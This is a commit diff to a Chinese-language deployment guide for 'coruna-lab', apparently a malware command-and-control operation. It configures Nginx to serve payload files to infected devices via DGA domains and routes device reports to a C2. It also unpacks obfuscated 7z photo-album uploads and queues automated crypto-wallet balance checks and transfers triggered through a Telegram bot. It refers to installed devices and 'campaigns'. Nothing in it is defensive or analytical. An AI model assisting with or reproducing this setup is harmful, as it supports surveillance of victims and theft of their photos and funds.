feat: quene
This commit is contained in:
+100
-9
@@ -37,8 +37,8 @@
|
||||
│
|
||||
├─ 旧静态:/web/<id>/… /sync/…
|
||||
├─ 新静态:/channel/<ver>/… /details/…
|
||||
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
|
||||
└─ DGA 域名反代到同一 public/
|
||||
├─ 新别名:/c/<ver>/show.htm → Nginx 静态 → channel/<ver>/details/show.html
|
||||
└─ DGA 域名反代到同一 public/(须带同一套落地页 location)
|
||||
```
|
||||
|
||||
建议目录:
|
||||
@@ -173,12 +173,16 @@ https://admin.example.com/sync/daily.html
|
||||
https://admin.example.com/channel/<ver>/weifile/weifile.html
|
||||
https://admin.example.com/channel/<ver>/details/
|
||||
https://admin.example.com/details/… # 共享模板(native 按需拉)
|
||||
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
|
||||
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
|
||||
```
|
||||
|
||||
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
|
||||
在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
|
||||
|
||||
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
|
||||
|
||||
```nginx
|
||||
# —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 ——
|
||||
|
||||
location ~ "^/web/[0-9a-f]{32}/" {
|
||||
try_files $uri =404;
|
||||
add_header Cache-Control "public, max-age=300";
|
||||
@@ -200,8 +204,39 @@ location /details/ {
|
||||
try_files $uri =404;
|
||||
add_header Cache-Control "public, max-age=300";
|
||||
}
|
||||
|
||||
# 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm)
|
||||
# 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM
|
||||
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
|
||||
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
|
||||
types { }
|
||||
default_type application/octet-stream;
|
||||
add_header Cache-Control "public, max-age=60";
|
||||
add_header Content-Type "application/octet-stream" always;
|
||||
}
|
||||
```
|
||||
|
||||
保存后:
|
||||
|
||||
```bash
|
||||
nginx -t && nginx -s reload
|
||||
```
|
||||
|
||||
用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`):
|
||||
|
||||
```bash
|
||||
curl -sI https://你的投放域名/c/0.0.01/show.htm
|
||||
```
|
||||
|
||||
应同时满足:
|
||||
|
||||
- HTTP 200
|
||||
- `Content-Type: application/octet-stream`
|
||||
- **没有** `X-Powered-By: PHP`
|
||||
- `Cache-Control` 含 `max-age=60`
|
||||
|
||||
若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。
|
||||
|
||||
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
|
||||
|
||||
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
|
||||
@@ -326,6 +361,14 @@ SESSION_DOMAIN=null
|
||||
SESSION_SECURE_COOKIE=true
|
||||
SESSION_SAME_SITE=lax
|
||||
|
||||
# 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6)
|
||||
# CACHE_STORE=redis
|
||||
# QUEUE_CONNECTION=redis
|
||||
# REDIS_HOST=127.0.0.1
|
||||
# REDIS_PORT=6379
|
||||
CACHE_STORE=file
|
||||
QUEUE_CONNECTION=sync
|
||||
|
||||
# 内嵌两套 builder(无 Build API;产物默认 public/)
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||
@@ -388,7 +431,54 @@ ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
|
||||
|
||||
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
|
||||
|
||||
### 2.6 p7zip(C2 入库)
|
||||
### 2.6 抗压(Redis / 队列 / PHP-FPM)
|
||||
|
||||
落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。
|
||||
|
||||
1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。
|
||||
2. PHP 8.2 安装 `redis` 扩展。
|
||||
3. `.env`:
|
||||
|
||||
```dotenv
|
||||
CACHE_STORE=redis
|
||||
QUEUE_CONNECTION=redis
|
||||
REDIS_HOST=127.0.0.1
|
||||
REDIS_PORT=6379
|
||||
```
|
||||
|
||||
4. 改完后:
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
/www/server/php/82/bin/php artisan migrate
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
```
|
||||
|
||||
5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
|
||||
|
||||
```text
|
||||
名称: coruna-queue
|
||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||
启动目录: /www/wwwroot/coruna-lab
|
||||
进程数量: 2
|
||||
```
|
||||
|
||||
6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||
|
||||
```ini
|
||||
pm = dynamic
|
||||
pm.max_children = 24
|
||||
pm.start_servers = 4
|
||||
pm.min_spare_servers = 2
|
||||
pm.max_spare_servers = 8
|
||||
pm.max_requests = 500
|
||||
```
|
||||
|
||||
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
|
||||
|
||||
7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
|
||||
|
||||
### 2.7 p7zip(C2 入库)
|
||||
|
||||
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
|
||||
|
||||
@@ -416,7 +506,7 @@ chmod +x bin/7z
|
||||
|
||||
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
|
||||
|
||||
### 2.7 Telegram Webhook(上线必做)
|
||||
### 2.8 Telegram Webhook(上线必做)
|
||||
|
||||
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
|
||||
|
||||
@@ -479,7 +569,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
|
||||
3. Admin 登录 `https://admin.example.com/admin/login`
|
||||
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
|
||||
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
|
||||
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`)
|
||||
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
|
||||
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
|
||||
8. `telegram:set-webhook` 成功;Bot 能收到指令
|
||||
@@ -499,9 +589,10 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
|
||||
|
||||
|
||||
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
|
||||
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
|
||||
|
||||
---
|
||||
|
||||
@@ -644,7 +735,7 @@ chmod -R ug+rwx storage/framework/sessions
|
||||
若要把静态产物拆到另一台纯静态机:
|
||||
|
||||
- 旧版:rsync `public/web` + `public/sync`
|
||||
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
|
||||
- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c/<ver>/show.htm` `alias` 映射,不要把该路径反代回 PHP
|
||||
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
|
||||
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user